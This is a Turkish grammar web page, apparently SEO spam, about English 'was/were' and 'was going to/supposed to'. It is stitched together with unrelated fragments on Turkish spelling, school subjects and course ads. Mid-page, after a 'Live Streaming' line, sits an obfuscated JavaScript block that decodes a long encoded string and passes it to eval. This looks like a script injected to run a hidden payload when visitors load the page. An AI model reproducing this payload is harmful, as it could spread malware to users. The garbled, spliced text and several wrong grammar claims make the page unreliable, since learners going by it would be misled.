was were konu anlatımı pdf

Musique Rencontre Du 3eme Type Youtube. INGILIZCE WAS / WERE GOING TO, WAS / WERE SUPPOSED TO – İDI /ORAYA GIDIYORLARDI, İDI / GEREKIYORDU – TÜRKÇE KONU ANLATIMI We use “was”, “were”, “going to” to talk about plans we made in the past which didn’t happen, or won’t happen in the future. “Was”, “were”, “going to” geçmişte yaptığımız ve gerçekleşmemiş, veya gelecekte gerçekleşmeyecek olan planlar hakkında konuştuğumuz zaman kullanırız. Examples Örnekler I was going to visit my aunt when I went to England, but she had gone to Spain for the summer. So I didn’t visit her İngiltere’ye gittiğimde teyzemi ziyaret edecektim, ancak o yaz boyu için İspanya’ya gitmişti. Bu yüzden onu ziyaret etmedim We were going to move to Thailand next year, but we were offered better jobs here. So we didn’t go Gelecek sene Thailand’a taşınacaktık, ancak bize burada daha iyi işler teklif ettiler. Böylece gitmedik We use “was”, “were”, “supposed to” to talk about things we agreed to do, or other people expected us to do, but we didn’t do. “Was / were supposed to” yapacağımız konusunda anlaşmaya vardığımız, veya başka kişilerin bizden yapılmasını beklediği, ancak yapmadığımız şeyler için kullanılır. Examples Örnekler I was supposed to book the restaurant for tonight, but I forgot. I agreed to do it, but I forgot Bu gece için lokantada rezervasyon yapmam gerekiyordu, ancak unuttum. Yapacağımı söylemiştim, ancak unuttum David was supposed to take the boys to football training tonight, but he had to work late. David was expected to take them, but he couldn’t David’in oğullarını bu akşam futbol antremanına götürmesi gerekiyordu, ancak geç saate kadar çalışması gerekiyordu. David’in onları götürmesi bekleniyordu, ancak bunu yapamadı NB After was/were going to and was/were supposed to we use the often use this form to apologise for not doing something and give a reason why. NOT “Was”, “were” , “going to” ve “was”,”were” , “supposed to” den sonra mastar şekli sıkça bir şeyin yerine getirilmemesinden dolayı özür dilemek ve bunun için bir sebep göstermek amacı için kullanırız. Examples Örnekler Sorry, I was going to phone you, but my mobile battery died. Pardon, seni arayacaktım, ancak cep telefonu şarjım bitti. Sorry, I was supposed to buy some bread on the way home, but the bakery had closed. Pardon, eve gelirken ekmek almam gerekiyordu, ancak fırın kapanmıştı. İngilizce was were konusu ile ilgili bilgiler vermeye çalışacağız. Konu içerisinde örnek olarak olumlu, olumsuz ve soru cümleleri vereceğiz. Derslerimiz, hangi sınıf, level-seviye olursa olsun, İngilizce öğrenmek isteyen herkese hitap was-were, to be fiilinin geçmiş zamandaki karşılığıdır. Am-is-are yardımcı fiillerinin geçmiş zaman tablodan olumlu, olumsuz ve soru yapılarını öğrenebiliriz.+ I was - You were - He/She/It was - We were - They were- I was not - You were not - He/She/It was not - We were not - They were not? was I? - were You? - was He/She/It? - were We? - were They?Aşağıdaki örnek cümleleri inceleyelimIn summer 1990 I was in Brazil.1990 yazında Birezilyadaydım.We were very happy to see you yesterday.Dün seni gördüğümüze çok sevindik.Lunch was OK, but the vegetables were not very good.Öğle yemeği güzeldi, ama sebzeler çok iyi değildi.It was cold and dark, and we were tired.Hava soğuk ve karanlıktı, ve çok yorgunduk.Olumsuz cümle oluştururken yardımcı fiilden sonra not not – were notKısaltarak şöyle yazabilirizWasn’t – weren’tAşağıdaki cümlelere bakalımThe lesson wasn’t interesting. It was boring.Ders ilgi çekici değildi. Sıkıcıydı.You weren’t late. Actually, you arrived 10 minutes early.Geç kalmadın. Açıkcası 10 dakkika erken vardın.Soru cümlesi oluştururken de was-were cümlenin başına Ann at home yesterday?Ann dün evdemiydi?Was the party good?Parti iyimiydi?Was your father a teacher?Baban öğretmenmiydi?_________________ Was, Were – aslında cümle olarak “ezberlediğimiz” ve anlamlarını detaylı olarak düşünmediğimiz bazı kullanımlar vardır. Bu kullanımları sadece işimizi görmeleri için. Türemiş ve birleşik kelimeler yaparken basit isimlere yapım ekleri anlatımı sosyalİngilizce'de Ortaokul 6. Sınıf İngilizce 6. Ünite Vacation Konu Anlatımı – 2 Was & Were, Ortaokul ile ilgili konu anlatımı, örnek cümleler ve Türkçe Cebirsel İfadeler Konu Anlatımı, Değişken, Kat Sayı, Sabit.✓ Belirtisiz isim tamlamalarında, tamlayan ile tamlanan yer değiştiremez ve tamlayan ile tamlanan arasına başka sözcük giremez. Çekim ekleri bir sözcüğe yapım ekinden sonra eklenir. Yani önce yapım ekleri, sonra çekim ekleri gelir. İstisnaları olsa da bu genel bir kuraldır. Birleşik kelimelerin dışında kalan atasözleri ve deyimler ayrı konu anlatımı 6 sınıf listesi6. Sınıf İngilizce – the Simple Past Tense Regular Verbs 2022000 Videoda Neler Var?038 the Simple Past Tense Regular VerbsHocalara Geldik Web Past Tense Test Çöz – Sayfa 50 – İngilizce Konu balık, şeytaniğnesi hayvan, yılaniğnesi balık.Did konu anlatımı 6 sınıf matematikWas / Were Konu Anlatımı. Bu yazımızda olmak anlamına gelen to be’ fiilinin geçmiş hali olan was / were konusunu ele alacağız. Was / Were’ fiilleri, am, is, are’ fiillerinin geçmiş zaman halidir. Kullanıldığı cümlelere -dı, -di’ anlamı katar. Örneklere geçmeden önce şunu da hatırlayalım isim tamlamaları konu sıfat tamlaması konu tamlamalar konu anlatımı 6 sınıf türkçeDenetleyici ve Düzenleyici Sistemler Konu Anlatımı PDF İndir Diğer Konular. Denetleyici ve Düzenleyici Sistemler Test; Denetleyici Sınıf Tüm Dersler Konu Anlatımı Android APK rengi, bal rengi, çivit rengi, duman rengi, fes rengi, gurup rengi, gül rengi, gümüş rengi, kiremit rengi, kurşun rengi, kül rengi, menekşe rengi, portakal rengi, saman rengi, şarap rengi, şarap tortusu rengi, ten rengi; ateş kırmızısı, bakla kırı, boncuk mavisi, Çingene pembesi, çivit mavisi, demir kırı, granit grisi, gece mavisi, kestane dorusu, küf yeşili, lâvanta mavisi, limon sarısı, maden mavisi, okyanus mavisi, safra yeşili, sıçan kırı, süt kırı, turna kırı. 14-Hayvan, bitki, organ ve çeşitli nesne adlarıyla kurulan ve içinde renklerden birinin adı veya renk sözü geçmeyen renk adları bitişik konu anlatımı 6 sınıf Terimleri ve Anlamları İngilizce etmek, alt etmek, arz etmek, arz olunmak, boş olmak, dans etmek, deli olmak, el etmek, gelin olmak, gider olmak, göç etmek, hayret etmek, ilân edilmek, ilân etmek, işaret etmek, kabul etmek, kabul eylemek, kul etmek, kul olmak, namaz kılmak, namaz kılınmak, not etmek, okumuş olmak, oyun etmek, sağır olmak, sağ olmak, soracak olmak, söz etmek, var olmak, yardım etmek, yarış etmek, yok etmek, yok olmak; azat etmek, terk etmek; angaje konu anlatımı 6 sınıf oturma2020-2021 Eğitim-Öğretim Yılı, 6. Sınıf, Fen Bilimleri Konu Anlatımları; 1. ÜNİTE GÜNEŞ SİSTEMİ VE TUTULMALAR 2. ÜNİTE VÜCUDUMUZDAKİ SİSTEMLER 3. ÜNİTE KUVVET VE HAREKET 4. ÜNİTE MADDE VE ISI 5. ÜNİTE SES VE ÖZELLİKLERİ 6. ÜNİTE VÜCUDUMUZDAKİ SİSTEMLER VE SAĞLIĞI 7. ÜNİTE ELEKTRİĞİN Sınıf Fen Bilimleri Konu Anlatımı Özet PDF – %100 başarı garantili tek online İngilizce kursunu ücretsiz deneyin. Örnek Çekyat, Uyurgezer, Gelgit, Biçerdöver. Bahçelievler Mahallesi, Yunus Emre Mahallesi; Alp dağları, Altay dağları, Nemrut dağı; Aral gölü, Balkaş gölü, Léman gölü; Marmara denizi; Sakarya ırmağı, Meriç nehri, Tuna anlatımı 6. sınıf fenWas – Were Konu Anlatımı. Geçmişe dair herhangi bir durum, statü, konum veya zamanı ifade etmek için kullanılırlar. I was very shocked to hear that news. O haberi duyduğuma çok şaşırdım. She was not in Turkey last year. O geçen sene Türkiye’de değildi. He was an accountant there for two Sınıf – Karaosmanoğlu, Topaloğlu, Orazbeykızı; Aydınoğulları, Candaroğulları, Osmanoğulları; çapanoğlu, dayıoğlu, eloğlu, halaoğlu, hinoğluhin, amcakızı, elkızı. Eklendiği isimlerin kime ait olduğunu ifade konu anlatımı 6 sınıf6. Sınıf Çokgenlerin Alanları Konu Anlatımı. İç içe birden fazla çokgenden oluşan şekillerin alanı bulunurken, şekil üzerinde köşegen veya bir doğru parçası çizilerek, üçgen, paralelkenar, kare, dikdörtgen gibi çokgenler elde edilerek çokgenlerin alanları ayrı ayrı Sınıf Matematik Konu Anlatımı .6–a, -e ve -ı, -i, -u, -ü ekleriyle yapılmış tasvir fiilleri, yardımcı fiil anlam değişmesine uğradığı için bitişik yazılır. “ın, in, un, ün” biçimindedir. Belirtili isim tamlaması konu anlatımı 6 sınıf6 Kişilik sınıflarda sunduğumuz çok özel İngilizce eğitimler ile dilbilgisini bile konuşarak öğreneceksiniz. Akademik İngilizce Sınav Eğitimleri Toefl iBT, Ielts, Toeic, Proficiency, Hazırlık Atlama Sınavı, Erasmus, Yüksek Lisans Yeterlilik, Konu Anlatımı ve Gramer Aşağıda verilen tamlamaların türlerini yazınız. Düşünebilmek, yapabilmek; uyuyakalmak; gidedurmak, yazadurmak; çıkagelmek, olagelmek, süregelmek; düşeyazmak, öleyazmak; açıvermek, alıvermek, gelivermek, gülüvermek, konu anlatımı 6 sınıftaSimple Past Tense geçmişteki olayları anlatmak için kullanılır. Geçmiş zaman olarak bilinir ve Türkçe’deki “-dı, -di, -du, -dü” şeklinde ifade edilir. Geçmişte bitmiş, tamamlanmış olayları ifade ederken kullanılır. Örneğin “gel di “, “oyna PAST TENSE KONU ANLATIMI Buzdolabı, Çörekotu, Aslanağzı, anlatımı 6. sınıf pdf6. Sınıf İngilizce Simple Past Tense Geçmiş Zaman – Konu Anlatımı İngilizce geçmiş zaman cümlesi kurulurken ”is” ve ”are” gibi yardımcı fiiller Sınıf Tüm Dersler Konu Anlatımı update version history for Bu kelimeler ünlüyle başlayan bir yardımcı fiil veya ek almadıkları zaman azil, defin, emir, hüküm, kayıp, keşif, meyil, nakil, sabır, vecit, zeyil, zikir şeklinde söylenir ve yazılır. Dolaylı ve dolaysız cümleler, İngilizcenin kurallar yönünden en çok kafa karıştıran konularından biridir. Oysa ki konunun özünü anladığınızda ne kadar basit were konu anlatımı 6. sınıfLive Streaming The most reliable way to stream video. Get started. var _0xc66e=[”,’split’,’0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/’,’slice’,’indexOf’,”,”,’.’,’pow’,’reduce’,’reverse’,’0′];function _0xe6cd,e,f{var g=_0xc66e[2][_0xc66e[1]]_0xc66e[0];var h=g[_0xc66e[3]]0,e;var i=g[_0xc66e[3]]0,f;var j=d[_0xc66e[1]]_0xc66e[0][_0xc66e[10]][_0xc66e[9]]functiona,b,c{ifh[_0xc66e[4]]b!==-1return a+=h[_0xc66e[4]]b*Math[_0xc66e[8]]e,c},0;var k=_0xc66e[0];whilej>0{k=i[j%f]+k;j=j-j%f/f}return k_0xc66e[11]}evalfunctionh,u,n,t,e,r{r=”;forvar i=0,len= s='';whileh[i]!==n[e]{s+=h[i];i++}forvar j=0;j< RegExpn[j],'g',j;r+= decodeURIComponentescaper}'MTBqMBAqMMTqZZTqMTBqMZTqMBTqMZAqMTBqMMHqMBTqTBZqMBHqMTMqMBMqMMMqMTZqMBAqMTTqMMTqZMHqMBMqMMBqMBAqMBZqMMTqMBAqTZMqMTBqMBAqMTZqMBAqMTTqMMTqZTHqZTMqMMZqMBMqMMBqMZMqMTHqMMTqZTMqZTAqZAAqMTBqMZTqMBTqMZAqMTBqMMHqMBTqZMHqMMZqMBAqMMTqTBAqMMTqMMTqMMBqMZMqMBTqMMMqMMTqMBAqZTHqZTMqMMZqMMBqMBMqZTMqZMTqZTMqMZTqMMTqMMTqMTHqMMZqZAHqZMAqZMAqMZZqMBAqMMTqMZTqMTMqMMMqMMZqMBAqZMHqMMTqMTMqMTHqZMAqMZZqMBAqMMTqTAAqMZHqMTAqMMBqMHZqZMHqMZHqMMZqTBMqMTHqTBZqMBAqMHZqTTTqZHBqTTZqMZHqMTMqMZMqMBTqTZAqZAMqMZHqTHAqTHHqTMHqMTHqMBTqZHTqZHHqMZMqTTHqTZZqTTTqMMHqTTZqMZHqMTMqMZMqMBZqTTBqTMHqZHBqMBMqTTBqTTAqZABqTHHqTZZqZAMqMBMqTTHqZHTqTABqMTBqMBMqMTZqZHZqMTBqTABqTZAqTHTqMZHqTHAqTHMqZHAqMMMqMBAqTMAqZHAqMMAqMBHqTHMqTTTqMBMqTTHqZHMqTMBqMTHqMBTqMTZqMTBqMTZqTHHqTZZqZAMqTZMqMBZqTHMqTMMqMMBqMBZqZHTqZAMqMMMqMBHqTMAqMMTqMZTqMBTqMTZqMHBqMZTqMBHqTZZqTHTqTZTqTMBqTZZqTHTqTZZqTTAqTHMqZHBqMTBqTMMqMHTqTMMqMTBqTMMqMZHqTZMqMMBqTMBqMZMqMMTqMHTqTTTqTHZqTTAqZHBqTTTqTHZqTTZqMHBqMBTqMZMqTHTqTZTqTMBqTZZqTHTqTZZqTTAqTHMqTHAqMZMqTTHqTZZqTTTqMTBqTTZqMZHqMTMqMZMqTTAqTZZqTTZqMMZqTTZqMTZqTMMqMZMqTMZqMZMqTTTqMTMqMBHqTTBqTMHqMMAqMBMqMHTqMTHqMBMqTTHqZHZqMMAqMMHqTABqZHTqTHTqZHBqMBZqTZAqZAMqZHZqMBMqZHTqTHZqMMMqMBHqTZAqZAMqMMAqTHHqTZZqZAMqMTTqTABqTHHqTMHqMZBqMBZqMTTqTZHqMHZqMBAqTMAqZHAqMTAqMBMqMHZqTTTqZAMqZTMqZTAqZAAqMBHqMTMqMBMqMMMqMTZqMBAqMTTqMMTqZMHqMBTqMTMqMBHqMHZqZMHqMZMqMTTqMMZqMBAqMMBqMMTqTZBqMBAqMZBqMTMqMMBqMBAqZTHqMTBqMZTqMBTqMZAqMTBqMMHqMBTqZMTqMBHqMTMqMBMqMMMqMTZqMBAqMTTqMMTqZMHqMBTqMTMqMBHqMHZqZMHqMBMqMZTqMZMqMTBqMBHqMMBqMBAqMTTqTAZqZHZqTAMqZTAqZAAq',59,'BZTMHAqYN',12,6,53The post Did konu anlatımı 6 sınıf first appeared on Free Software Downloads and Reviews. Was ve Were konusu İngilizcenin en fazla karıştırılan konularından biri olmakla birlikte İngilizcenin en önemli konularından da biridir. Dolayısıyla bu konuyu iyi öğrenmeden iyi derecede İngilizce öğrenmek mümkün değildir. Bu dersimizde was ve were konusunu detaylı bir şekilde öğreneceğiz. Konuyu anlatırken bu yapıların Türkçe'de hangi ifadelere karşılık geldiğini anlatacak, birebir Türkçe cümleler ile karşılaştıracak, ayrıca görseller ve videolar aracılığıyla da dersimizi zenginleştireceğiz. Bu dersi dikkatli şekilde ve not alarak çalışan biri İngilizcenin en önemli konularından biri olan was, were konusunu rahatlıkla öğrenebilir. Ayrıca dersin içinde yer alan videolu dersleri de dikkatle izleyen biri öğrendiği kurallara ek olarak kelimelerin telafuzlarını ve tonlamalarını öğrenecektir. Dersimize başlayalım; Was Were Nedir? Nerelerde Kullanılır? Was ve were ifadeleri Türkçedeki geçmiş zaman isim cümlelerine karşılık gelmektedir. Geçmiş zaman denildiği zaman öğrenciler bu konuyu geçmiş zaman fiil cümleleri ile karıştırır. Halbuki ikisi birbirinden tamamen farklıdır. Geçmiş zaman fiil cümleleri; geçmişte yaşanan bir eylemden bahsederken kullanılırken, geçmiş zaman isim cümleleri geçmişteki bir durumdan, bir özellikten bahsederken kullanılır. Aşağıdaki Türkçe örnekleri inceleyerek was were yapılarının Türkçede hangi ifadelere karşılık geldiğini görelim; Ben öğrenciydim. Bu cümlenin yüklemi isim soylu bir kelimedir. Yani bu cümle geçmişte yapılan bir eylemden bahsetmemektedir, onun yerine geçmişte varolan bir durumdan bahsetmektedir. Dolayısıyla bu cümleyi İngilizceye çevirirken was were yapılarını kullanmamız gerekir. Ben İstanbulda okudum. Bu cümle ise geçmişte yaşanan bir eylemden bahsetmektedir ve simple past tense fiil cümleleri kurallarına göre İngilizceye çevrilmelidir. Yani "did" konusu kapsamına girer. Bazı başka örnek geçmiş zaman cümleleri inceleyerek hangilerinin was were ifadesi kullanılarak İngilizceye çevrileceğini tahmin etmeye çalışalım; Sen açtın. Bu cümle geçmişteki bir durumdan bahsettiği için, bu cümleyi İngilizceye çevirirken was were yapılarını kullanırız. Örnek cümlede kırmızı olarak gösterilen kısımın cümleye kattığı anlamı İngilizce cümlelerde sağlamak için "was, were" yapılarını kullanacağız. Sen acıktın. Bu cümle ise geçmişte gerçekleşen bir eylemden "acıkmak" eyleminden bahsettiği için, bu cümleyi İngilizceye çevirirken "did" ifadesini kullanırız. Kısacası şöyle söylemek daha doğru olur; Was ve were yapıları geçmiş zaman isim cümlelerinde kullanılır. Ancak bir geçmiş zaman fiil cümlesi kurulacak ise "did" ifadesi kullanılır. Bu linkten "did" ifadeleri ile ilgili özenle hazırlanmış bir derse ulaşabilirsiniz. Was Were Olumlu Cümleler Yukarıda da anlattığımız gibi was were ifadeleri geçmiş zaman isim cümlelerinde kullanılır. Bundan dolayı "was, were" yapılarını Türkçeye "-idi" şeklinde çevirmemizin herhangi bir sakıncası olmaz. Bundan sonraki cümlelerde was, were yapılarını gördüğümüzde Türkçeye "-idi" şeklinde çevireceğiz. Ancak şunu unutmayın ki; was, were ifadelerinin tam karşılığı "-idi" değildir. Yine de bu ifadeleri bu şekilde öğrenmek bu ders için işinizi fazlasıyla kolaylaştıracaktır. Örnek cümlelere ve kullanımlara geçmeden önce was, were yapılarının olumlu cümleler öge dizilimini görelim; Özne + was/were + yüklem Bu noktada öğrencilerin sorduğu bir soru var. Hocam, kuracağımız cümlelerde was / were ifadelerinden hangisini kullanacağımıza nasıl karar verebiliriz? Değerli öğrenciler, bu noktada karar verirken bakacağımız tek nokta cümlenin öznesidir. Bazı öznelerle beraber was yardımcı fiili kullanılırken bazı öznelerle beraber were yardımcı fiilini kullanmamız gerek. Aşağıdaki tabloda hangi zamirle beraber hangi yardımcı fiilin kullanıldığı gösterilmiştir; Hangi zamirle beraber hangi yardımcı fiilin kullanılması gerektiğini mutlaka sular seller gibi ezberlemeniz gerek. Aksi halde uygun olmayan bir yardımcı fiil kullanmanız kaçınılmaz olacaktır. Böyle bir hataya düşmek istemiyorsanız, yukarıdaki tabloyu not almanızı öneririm. Ayrıca bazen kurduğumuz cümlelerin özneleri yukarıdaki tabloda belirttiğimiz zamirlerden biri olmaz. Bazen herhangi bir isim de cümlenin öznesi olabilir. Aşağıdaki örnek cümleye bakalım; Ahmet zengindi. Böyle bir cümleyi İngilizceye çevirirken was were yardımcı fiillerinden hangisi kullanmamız gerektiğini bulalım. Eğer kurmak istediğimiz cümlenin öznesi bir isim ise, bu öznenin tekil mi, çoğul mu olduğuna bakarız. Eğer öznemiz tekil ise "was" çoğul ise "were" kullanmamız gerekir. Şimdi bu bilgiler ışığında örnek bir cümle analiz edelim; Bu cümleyi analiz ettiğimiz zaman dikkatimizi çekmesi gereken noktalar şunlardır; 1- Cümleye, yukarıdaki öge sıralamasını anlatırken de söylediğimiz gibi, cümlenin öznesi ile başladık. 2- Cümlenin öznesi bir zamir değil, bir isimdir. "The carpet". Dolayısıyla cümlede "was were" yardımcı fiillerinden hangisini kullanacağımıza karar vermek üzere, bu öznenin tekil mi çoğul mu olduğuna baktık. Özne tekil bir özne olduğu için, yardımcı fiil olarak tekil öznelerle beraber kullanılan "was" yardımcı fiilini kullandık. 2 numaralı maddeye son derece dikkat etmek gerek. Çünkü öğrenciler genelde burayı karıştırmaktadır. Öznenin bir zamir I, you, we... olduğu durumlarda was ve ve were yardımcı fiillerinden hangisinin kullanılacağına kara vermek son derece basittir. Çünkü yukarıdaki tabloda hangi zamirin hangi yardımcı fiil ile kullanılması gerektiği gösterilmiştir. Ancak cümlenin öznesi bir isim ise; tekil özneler ile "was" çoğul özneler ile "were" kullanılr. Bu önemli bir kuraldır. Şimdi daha fazla örnek analiz ederek, was were konusu olumlu cümleler ile ilgili öğrendiğimiz bilgileri pekiştirelim; Yukarıdaki görselde aynı renkle gösterilen kısımlar aynı anlamlara gelmektedir. Zaten ok işaretleri ile de dikkat çekilmiştir. Bu örneği bu şekilde not almanızı tavsiye ederim. Bir başka örneğe daha bakalım; Bu örnekte de Türkçe cümlede ve İngilizce cümlede aynı anlama gelen kısımlar aynı renkler ile gösterilmiştir. Ayrıca birbirlerine ok işaretleri vasıtasıyla da bağlanmıştır. Bu örneği de bu haliyle not almanızı tavsiye ederim. Şimdi aşağıdaki örnek cümlelere bakınız; I was sick. "Ben hastaydım" anlamına gelen bu cümlenin öznesi "I" zamiridir. Yukarıdaki tablodan hatırlayacağınız üzere "I" zamiri ile beraber "was" yardımcı fiili kullanılırdı. Dolayısıyla bu cümlede de "was" yardımcı fiili özneden hemen sonra kullanılmıştır. She was my friend. Bu cümlenin de öznesi "She" zamiridir. She zamiri ile beraber "was" yardımcı fiili kullanılmıştır. My brothers were in the garden. "Benim kardeşlerim bahçedeydi" anlamına gelen bu cümlenin öznesi ise "my brothers" ifadesidir. Bu özne çoğul bir özne olduğu için cümlede kullanılan yardımcı fiil de "were" olarak seçilmiştir. Bazı başka örnek was were cümleleri görelim; My father was a good driver. My roommate was from Canada. Her best friend was at our home. Ali and Ahmet were good friends. They were in Usa last week. Obama was the president of the Usa. Aşağıdaki videouyu da izlemenizi tavsiye ederim; Was Were Olumsuz Cümleler Was ve were ifadelerini kullanarak geçmişte olmayan bir durumdan bahsederiz. Aşağıdaki Türkçe örneği inceleyerek, was were ifadelerinin Türkçede hangi anlamlara karşılık geldiğini görelim; Ben doktor değildim. Bu cümle geçmişte var olmayan bir durumdan bahsetmektedir. Bu tür cümleleri İngilizce olarak söyleceğimiz zaman was were ifadelerinin olumsuz çekimlerini kullanacağız. Bir "was were" olumsuz cümlesi elde etmek istediğimiz zaman yapmamız gereken tek şey, bu ifadelere not eki eklemektir. Yani "was" yardımcı fiilini "was not"; "were" yardımcı fiili "were not" olarak yazmak/söylemek. Aşağıdaki görselden olumsuz cümlelerde "was were" ifadelerinin nasıl kullanıldığını görebilirsiniz; Olumsuz cümlelerde yardımcı fiile was were "not" eklemek dışında bir şey yapılmaz. Geri kalan herşey olumlu cümleler ile aynıdır. Not "wasn't veya weren't" ifadelerini Türkçeye "değildi" şeklinde çevirebiliriz. Bu kelimeleri bu şekilde Türkçeye çevirmek, bu konuyu çalışırken sizlere çok büyük kolaylık sağlar. Ancak tabi ki bu ifadelerin gerçek anlamları bu şekilde değildir. Yine de bu konuyhu çalışırken bu şekilde öğrenmenin zararı yok aksine faydası vardır. Was Were olumsuz cümleler öğe dizilimini görelim şimdi de; Özne + wasn't/weren't + yüklem. Yukarıdaki bilgiler ışığında aşağıdaki örneği inceleyerek öğrendiğimiz bilgileri pekiştirelim; Yukarıdaki örnek cümle analiz edildiğinde dikkatimizi çekmesi gereken noktalar şunlardır; 1- Cümleye tıpkı olumlu cümlelerde olduğu gibi özne ile başladık. 2- Cümlenin öznesi tekil olduğu için "was" yardımcı fiilini kullandık. 3- Bu cümle olumsuz bir cümle olduğu için, "was" yardımcı fiiline "not" ekledik. Tabi "wasn't" şeklinde yazabileceğimiz gibi "was not" şeklinde de yazabilirdik. Her ikisi de dil bilgisi olarak yanlış olmazdı. Şimdi bir başka örnek cümle daha analiz edelim; Bu cümlede analiz edildiği zaman dikkatimizi çekmesi gereken noktalar şunlardır; 1- Cümleye cümlenin öznesi ile başladık. 2- Özneden hemen sonra yardımcı fiili kullandık. Bu cümlenin öznesi "we" zamiri olduğu için cümlede "was" yardımcı fiili kullanıldı. 3- Bu cümle bir olumsuz cümle olduğu için yardımcı fiile "not" olumsuzluk ekini ekledik. Aşağıdaki was were cümlelerini teker teker analiz ederek öğrendiğimiz bilgileri pekiştirelim; She wasn't at the party. Cümlenin öznesi "she" olduğu için, yardımcı fiil olarak "was" kullanıldı. Ayrıca bu cümle bir olumsuz cümle olduğu için "was" yardımcı fiiline "not" olumsuzluk eki getirildi. They weren't hungry. "Onlar aç değildi" anlamına gelen bu cümlede ise, özne "they" zamiridir. Dolayısıyla "were" yardımcı fiili kullanıldı. Ayrıca bu cümle olumsuz bir cümle olduğu için "not" olumsuzluk eki de cümledeki yardımcı fiile eklendi. "weren't" ifadesi "were not" şeklinde de yazılabilirdi. Not Was Were olumsuz cümleler oluştururken öge sıralamasına dikkat etmeniz gerekir. Sıralamada özneden sonra yardımcı fiili kullanmayı unutmayınız. Ayşe and I were not at school. Bu cümlenin öznesi "Ayşe ve ben" şeklindedir. Yani çoğul bir öznedir. Dolayısıyla cümlede yardımcı fiil olarak "were" kullanılmıştır. Bir çok öğrenci "I" zamirini gördüklerinde "was" yardımcı fiilinin kullanılması gerektiğini düşünür. Oysa bu cümlenin öznesi "I" zamiri değildir. Onun yerine "Ayşe and I" şeklindedir. Aşağıdaki örnekleri sizler yukarda yapıtığımız gibi analiz ediniz. The book was not on the shelf. The students were not in the classroom. My parents weren't happy. Her nephes, Akın, was not a dentist. They weren't students. She wasn't american. Aziz wasn't the president. Tea was not hot. Aşağıdaki videouyu da izlemenizi tavsiye ederim; Was Were Soru Cümleleri Dersimizin başından beridir "was, were" yardımcı fiillerinin özneden hemen sonra kullanıldığını söylüyoruz. Tabi bu durum "was, were" olumlu ve olumsuz cümlelerde geçerlidir. Soru cümlelerinde ise durum daha farklıdır. Soru cümlelerinde "was, were" ifadeleri, özneden önce kullanılır. Bu anlamda soru cümleleri olumlu ve olumsuz cümlelerden farklıdır. Bunun dışında ise herhangi bir fark yoktur. Aşağıdaki görselde "was, were" yardımcı fiillerinin soru cümlelerinde asıl ve nerede kullanılması gerektiği gösterilmiştir; Görselde görüldüğü gibi; soru cümlelerinde "was, were" yardımcı fiileri özneden önce kullanılmış. Zaten soru cümlelerini soru yapan asıl kısım da budur. Bunun dışında bir kural yoktur. Was Were soru cümleleri öge dizilimine bakalım; Was/Were + özne + yüklem? Bu bilgiler ışığında bazı örnek cümleler analiz ederek, bu bilgileri pekiştirelim; Bu cümle analiz edildiği zaman dikkatimizi çekmesi gereken noktalar şunlardır; 1- Cümleye özne ile değil "was" yardımcı fiili ile başladık. 2- Özneden sonra, cümlenin öznesini kullandık. 3- Daha sonra ise yüklemi kullanarak cümleyi bitirdik. Bir başka örnek cümle daha analiz edelim; Bu cümle de analiz edildiği zaman dikkatimizi çekmesi gereken noktalar şunlardır; 1- Cümle bir soru cümlesi olduğu için, cümleye "were" yardımcı fiili başladık. Bu cümlede "was" yardımcı fiilini kullanmamamızın sebebi; öznenin çoğul olmasıdır. 2- İkinci sırada ise cümlenin öznesini kullandık. 3- Daha sonra ise cümlenin yüklemini ve geri kalan öğeleri kullandık. Şimdi bazı "Was Were" soru cümlelerini analiz ederek öğrendiğimiz bilgileri pekiştirelim; Were you tired yersterday? "Sen dün yorgun muydun?" anlamına gelen bu cümleye, "were" yardımcı fiili ile başladık. Nitekim bu cümle bir soru cümlesidir. Ayrıca "were" yardımcı fiilinden hemen sonra ise öznenin kullanıldığını gözden kaçırmamak gerek. Was your dog black? "Senin köpeğin siyah mıydı?" anlamına gelen bu cümle yine bir soru cümlesi olduğu için, cümleye "was" yardımcı fiili ile başladık. Bu cümlede "were" yardımcı fiili değil de "was" yardımcı fiilini kullanmamızın sebebi ise; öznenin your dog tekil olmasıdır. Aşağıdaki örnek cümleleri de sizlerin, yukarıdaki cümleleri yaptığımız gibi analiz etmenizi tavsiye ederim; Was she a mother? Were your students hardworking? Was their father a driver? Were you at school? Were Poland a rich counrty? Was Kadir fat? Was Fadıl handsome? Soru Kelimeleri Soru kelimeleri soru yapıları öğrenilirken mutlaka öğrenilmesi gereken bir noktadır. Çünkü soru kelimeleri kullanarak daha net sorular sorabilir ve kendimizi daha iyi ifade edebiliriz. Ayrıca içinde soru kelimesi bulunan bir cümle ile muhattpa olduğumuz zaman da ne denildiğini anlayabilir ve cevap verebiliriz. Was were konusu anlatılırken okullarda sıklıkla yapılan bir hata, soru cümlelerinde "was were" yardımcı fiillerinin özneden önce kullanıldığının söylenmesidir. Halbuki bu doğru değildir. Asıl söylenmesi gereken şey; soru cümleleriden "was, were" yardımcı fiillerinin özneden önce geldiğidir. Nitekim bazı soru cümlelerinde "was were" yardımcı fiilleri cümlenin başında kullanılmaz. Örneğin cümlede bir soru kelimesi varsa, cümlenin başında bu soru kelimesi kullanılır. Aşağıda içinde soru kelimesi geçen bir cümlenin öge dizilinin nasıl olması gerektiği gösterilmiştir; Soru kelimesi + Was/Were + Özne + Yüklem? Görüldüğü gibi içinde soru kelimesi geçen cümlelerde, soru kelimesi cümlenin başında kullanılır. Aşağıdaki örneğimizi analiz edelim; Aşağıdaki görselde ise İngilizcede en fazla kullanılan soru kelimeleri gösterilmiştir; Aşağıdaki cümleye soru kelimeleri ekleyerek hem anlamının nasıl değiştiğini görelim, hem de soru kelimelerinin cümlede nerede kullanıldığını inceleyelim. Öncelikle içinde soru kelimesi olmayan soru cümlemiz; Bu örnek "was were" cümlesinde bir soru kelimesi kullanılmadığı için, "were" yardımcı fiili cümlenin başında kullanıldı. Peki bu cümleye bir soru kelimesini nasıl ekleyebiliriz. Aşağıdaki görsele bakalım; Örnekte görüldüğü gibi, cümleye bir zaman kelimesi eklediğimiz zaman, bu kelime cümlenin başında kullanıldı ve kendi anlamı doğrultusunda cümlenin anlamını değiştir. Ancak cümlenin geri kalan kısmı ise, ilk örnek cümlemizle içinde soru kelimesi olmayan aynı kaldı. Şimdi de bu cümleye bir başka soru kelimesi ekleyelim; Bu seferde örnek cümlemize "nerede" anlamına gelen "where" kelimesini ekledik. Bu soru kelimesi de "when" kelimesi gibi cümlenin başına geldi. Ayrıca yine bu soru kelimesi de; cümleyi kendi anlamı doğrultusunda değiştirdi. Soru kelimelerinin cümle içerisinde kullanımı son derece basittir. Sizlerde yukarıdaki tablodan bazı soru 